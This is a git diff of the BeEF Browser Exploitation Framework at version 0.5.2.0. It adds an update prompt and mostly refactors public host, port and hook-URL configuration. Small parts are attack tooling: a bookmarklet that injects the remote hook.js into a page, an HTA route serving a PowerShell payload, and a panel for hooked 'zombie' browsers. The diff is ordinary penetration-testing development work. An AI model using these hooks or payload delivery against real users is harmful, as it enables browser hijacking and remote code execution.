diff --git a/INSTALL.txt b/INSTALL.txt index c6329d3dc..f60e0d4ca 100644 --- a/INSTALL.txt +++ b/INSTALL.txt @@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version. If you're using BeEF from the GitHub repository, updating is as simple as: - $ git pull + $ ./update-beef + +Or pull the latest repo yourself and then update the gems with: + + $ git pull + + $ bundle diff --git a/VERSION b/VERSION index 18e4217fa..d49b9337a 100644 --- a/VERSION +++ b/VERSION @@ -4,4 +4,4 @@ # See the file 'doc/COPYING' for copying permission # -0.5.1.0 +0.5.2.0 diff --git a/beef b/beef index ea723c015..267e05a8a 100755 --- a/beef +++ b/beef @@ -42,6 +42,28 @@ $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze # @note Require core loader # require 'core/loader' +require 'timeout' + +# +# @note Ask user if they would like to update beef +# + +if BeEF::Core::Console::CommandLine.parse[:update_disabled] == false + if BeEF::Core::Console::CommandLine.parse[:update_auto] == true + print "Pulling latest BeEF repository and updating" + `git pull && bundle` + else + begin + answer = Timeout::timeout(5) do + print "Would you like to check and download the latest BeEF update? y/n: " + response = gets + `git pull && bundle` if response.strip == 'y' + end + rescue Timeout::Error + puts "\nUpdate Skipped with input timeout" + end + end +end # # @note Create ~/.beef/ @@ -109,13 +131,13 @@ end # # @note Validate beef.http.public and beef.http.public_port # -unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public')) - print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}" +unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host')) + print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}" exit 1 end -unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port')) - print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}" +unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port')) + print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}" exit 1 end diff --git a/config.yaml b/config.yaml index 4a72eb4fe..f4d12e95d 100644 --- a/config.yaml +++ b/config.yaml @@ -6,7 +6,7 @@ # BeEF Configuration file beef: - version: '0.5.1.0' + version: '0.5.2.0' # More verbose messages (server-side) debug: false # More verbose messages (client-side) @@ -47,8 +47,14 @@ beef: # Host Name / Domain Name # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS), - # set the public hostname below: - #public: "" # public hostname/IP address + # These settings will be used to create a public facing URL + # This public facing URL will be used for all hook related calls + # set the public setting below: + # public: "" + # host: "" # public hostname/IP address + # port: "" # public port will default to 80 if no https 443 if https + # and local if not set but there is a public host + # https: false # true/false # Reverse Proxy / NAT # If you want BeEF to be accessible behind a reverse proxy or NAT, @@ -56,8 +62,6 @@ beef: # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed # by altering the X-FORWARDED-FOR ip address in the request header. allow_reverse_proxy: false - #public: "" # public hostname/IP address - #public_port: "" # public port (experimental) # Hook hook_file: "/hook.js" @@ -89,6 +93,8 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false + # Enabled this config setting if you're external facing uri is using https + public_enabled: false # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.public (the domain name of the server where you run BeEF) key: "beef_key.pem" diff --git a/core/main/command.rb b/core/main/command.rb index f0d3073cf..5629dd517 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -42,7 +42,8 @@ module BeEF # Two instances of this object are created during the execution of command module. # class Command - attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname + attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname, + :config attr_accessor :zombie, :command_id, :session_id include BeEF::Core::CommandUtils @@ -55,15 +56,15 @@ module BeEF # @param [String] key command module key # def initialize(key) - config = BeEF::Core::Configuration.instance + @config = BeEF::Core::Configuration.instance @key = key @datastore = {} - @friendlyname = config.get("beef.module.#{key}.name") + @friendlyname = @config.get("beef.module.#{key}.name") @output = '' - @path = config.get("beef.module.#{key}.path") + @path = @config.get("beef.module.#{key}.path") @default_command_url = config.get("beef.module.#{key}.mount") - @id = config.get("beef.module.#{key}.db.id") + @id = @config.get("beef.module.#{key}.db.id") @auto_update_zombie = false @results = {} @beefjs_components = {} diff --git a/core/main/configuration.rb b/core/main/configuration.rb index 999a4b5e3..7b3f8cd16 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -73,9 +73,122 @@ module BeEF return end + return unless validate_public_config_variable?(@config) + + if @config['beef']['http']['public_port'] + print_error 'Config path beef.http.public_port is deprecated.' + print_error 'Please use the new format for public variables found' + print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration' + return + end + true end + # + # Returns the configuration value for the http server host + # If nothing is set it should default to 0.0.0.0 (all interfaces) + def local_host + get('beef.http.host') || '0.0.0.0' + end + + # + # Returns the configuration value for the http server port + # If nothing is set it should default to 3000 + def local_port + get('beef.http.port') || '3000' + end + + # + # Return the local protocol + # if nothing is set default to http + def local_proto + local_https_enabled ? 'https' : 'http' + end + + # + # Returns the configuration value for the local https enabled + # If nothing is set it should default to false + def local_https_enabled + get('beef.http.https.enable') || false + end + + # + # Returns the configuration value for the http server host + def public_host + get('beef.http.public.host') + end + + # + # Returns the beef host which is used by external resources + # e.g. hooked browsers + def beef_host + public_host || local_host + end + + # + # Returns the beef port which is used by external resource + # e.g. hooked browsers + def beef_port + public_port || local_port + end + + def public_enabled? + !get('beef.http.public.host').nil? + end + + # + # Returns the beef protocol that is used by external resources + # e.g. hooked browsers + def beef_proto + if public_enabled? && public_https_enabled? then + return 'https' + elsif public_enabled? && !public_https_enabled? + return 'http' + elsif !public_enabled? + return local_proto + end + end + + # + # Returns the beef scheme://host:port for external resources + # e.g. hooked browsers + def beef_url_str + "#{beef_proto}://#{beef_host}:#{beef_port}" + end + + # Returns the hool path value stored in the config file + # + # @return [String] hook file path + def hook_file_path + get('beef.http.hook_file') || '/hook.js' + end + + # Returns the url to the hook file + # + # @return [String] the url string + def hook_url + "#{beef_url_str}#{hook_file_path}" + end + + # Returns the configuration value for the http server port + # If nothing is set it should default to 3000 + def public_port + return get('beef.http.public.port') unless get('beef.http.public.port').nil? + + return '443' if public_https_enabled? + return '80' unless public_host.nil? + + nil + end + + # + # Returns the configuration value for the local https enabled + # If nothing is set it should default to false + def public_https_enabled? + get('beef.http.public.https') || false + end + # # Returns the value of a selected key in the configuration file. # @param [String] key Key of configuration item @@ -163,6 +276,19 @@ module BeEF ) end end + + private + + def validate_public_config_variable?(config) + return true if (config['beef']['http']['public'].is_a?(Hash) || + config['beef']['http']['public'].is_a?(NilClass)) + + + print_error 'Config path beef.http.public is deprecated.' + print_error 'Please use the new format for public variables found' + print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration' + false + end end end end diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index 8f2725725..af1d2fba7 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -48,7 +48,8 @@ module Banners def print_network_interfaces_count # get the configuration information configuration = BeEF::Core::Configuration.instance - beef_host = configuration.get('beef.http.host') + # local host + beef_host = configuration.local_host # create an array of the interfaces the framework is listening on if beef_host == '0.0.0.0' # the framework will listen on all interfaces @@ -77,27 +78,26 @@ module Banners # def print_network_interfaces_routes configuration = BeEF::Core::Configuration.instance - proto = configuration.get("beef.http.https.enable") == true ? 'https' : 'http' - hook_file = configuration.get("beef.http.hook_file") + # local config settings + proto = configuration.local_proto + hook_file = configuration.hook_file_path admin_ui = configuration.get("beef.extension.admin_ui.enable") ? true : false admin_ui_path = configuration.get("beef.extension.admin_ui.base_path") # display the hook URL and Admin UI URL on each interface from the interfaces array self.interfaces.map do |host| print_info "running on network interface: #{host}" - port = configuration.get("beef.http.port") + port = configuration.local_port data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n" data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui print_more data end # display the public hook URL and Admin UI URL - if configuration.get("beef.http.public") - host = configuration.get('beef.http.public') - port = configuration.get("beef.http.public_port") || configuration.get('beef.http.port') + if configuration.public_enabled? print_info 'Public:' - data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n" - data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui + data = "Hook URL: #{configuration.hook_url}\n" + data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui print_more data end end @@ -130,9 +130,9 @@ module Banners def print_websocket_servers config = BeEF::Core::Configuration.instance ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout') - print_info "Starting WebSocket server ws://#{config.get('beef.http.host')}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]" + print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]" if config.get("beef.http.websocket.secure") - print_info "Starting WebSocketSecure server on wss://[#{config.get('beef.http.host')}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]" + print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]" end end end diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb index 87053e4b3..5907f25e3 100644 --- a/core/main/console/commandline.rb +++ b/core/main/console/commandline.rb @@ -19,6 +19,8 @@ module BeEF @options[:port] = "" @options[:ws_port] = "" @options[:interactive] = false + @options[:update_disabled] = false + @options[:update_auto] = false @already_parsed = false @@ -55,6 +57,14 @@ module BeEF @options[:ws_port] = ws_port end + opts.on('-ud', '--update_disabled', 'Skips update') do + @options[:update_disabled] = true + end + + opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do + @options[:update_auto] = true + end + #opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do # @options[:interactive] = true #end diff --git a/core/main/server.rb b/core/main/server.rb index 8ddee76ed..363547a09 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -12,19 +12,12 @@ module BeEF module Core class Server include Singleton - - # @note Grabs the version of beef the framework is deployed on - VERSION = BeEF::Core::Configuration.instance.get('beef.version') - attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore def initialize @configuration = BeEF::Core::Configuration.instance - beef_proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" - beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") - beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") - @url = "#{beef_proto}://#{beef_host}:#{beef_port}" - @root_dir = File.expand_path('../../../', __FILE__) + @url = @configuration.beef_url_str + @root_dir = File.expand_path('../../../', __dir__) @command_urls = {} @mounts = {} @rack_app @@ -33,16 +26,16 @@ module BeEF def to_h { - 'beef_version' => VERSION, - 'beef_url' => @url, - 'beef_root_dir' => @root_dir, - 'beef_host' => @configuration.get('beef.http.host'), - 'beef_port' => @configuration.get('beef.http.port'), - 'beef_public' => @configuration.get('beef.http.public'), - 'beef_public_port' => @configuration.get('beef.http.public_port'), - 'beef_hook' => @configuration.get('beef.http.hook_file'), - 'beef_proto' => @configuration.get('beef.http.https.enable') == true ? 'https' : 'http', - 'client_debug' => @configuration.get('beef.client_debug') + 'beef_version' => @configuration.get('beef_version'), + 'beef_url' => @url, + 'beef_root_dir' => @root_dir, + 'beef_host' => @configuration.beef_host, + 'beef_port' => @configuration.beef_port, + 'beef_public' => @configuration.public_host, + 'beef_public_port' => @configuration.public_port, + 'beef_hook' => @configuration.get('beef.http.hook_file'), + 'beef_proto' => @configuration.beef_proto, + 'client_debug' => @configuration.get('beef.client_debug') } end diff --git a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js index 572d5a88c..5b2e402c7 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js @@ -7,12 +7,7 @@ WelcomeTab = function() { <% - @configuration = BeEF::Core::Configuration.instance - beef_proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"; - beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") - beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") - beef_hook = @configuration.get("beef.http.hook_file") - hook_url = "#{beef_proto}://#{beef_host}:#{beef_port}/#{beef_hook}" + hook_url = BeEF::Core::Configuration.instance.hook_url %> var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27<%= hook_url %>%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();" diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index 602a11e34..a72ae3e92 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -111,8 +111,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { listeners: { itemclick: function(item, object) { - var hb_id = this.contextNode.id.split('zombie-online-')[1]; - var hb_id_off = this.contextNode.id.split('zombie-offline-')[1]; + var hb_id = this.contextNode.id.split('-')[2]; switch (item.id) { case 'use_as_proxy': Ext.Ajax.request({ diff --git a/extensions/qrcode/qrcode.rb b/extensions/qrcode/qrcode.rb index c79050f21..9b7aaa5d1 100644 --- a/extensions/qrcode/qrcode.rb +++ b/extensions/qrcode/qrcode.rb @@ -19,9 +19,9 @@ module Qrcode # get server config configuration = BeEF::Core::Configuration.instance - beef_proto = configuration.get('beef.http.https.enable') == true ? "https" : "http" - beef_host = configuration.get("beef.http.public") || configuration.get("beef.http.host") - beef_port = configuration.get("beef.http.public_port") || configuration.get("beef.http.port") + beef_proto = configuration.beef_proto + beef_host = configuration.beef_host + beef_port = configuration.beef_port # get URLs from QR config configuration.get("beef.extension.qrcode.targets").each do |target| diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index 65e85c389..34f49d51d 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -28,11 +28,10 @@ module BeEF # serves the HTML Application (HTA) get '/hta' do response['Content-Type'] = "application/hta" - host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host') - port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port') - proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http" - ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') - payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png" + @config = BeEF::Core::Configuration.instance + beef_url_str = @config.beef_url_str + ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url') + payload_url = "#{beef_url_str}#{ps_url}/ps.png" print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}" "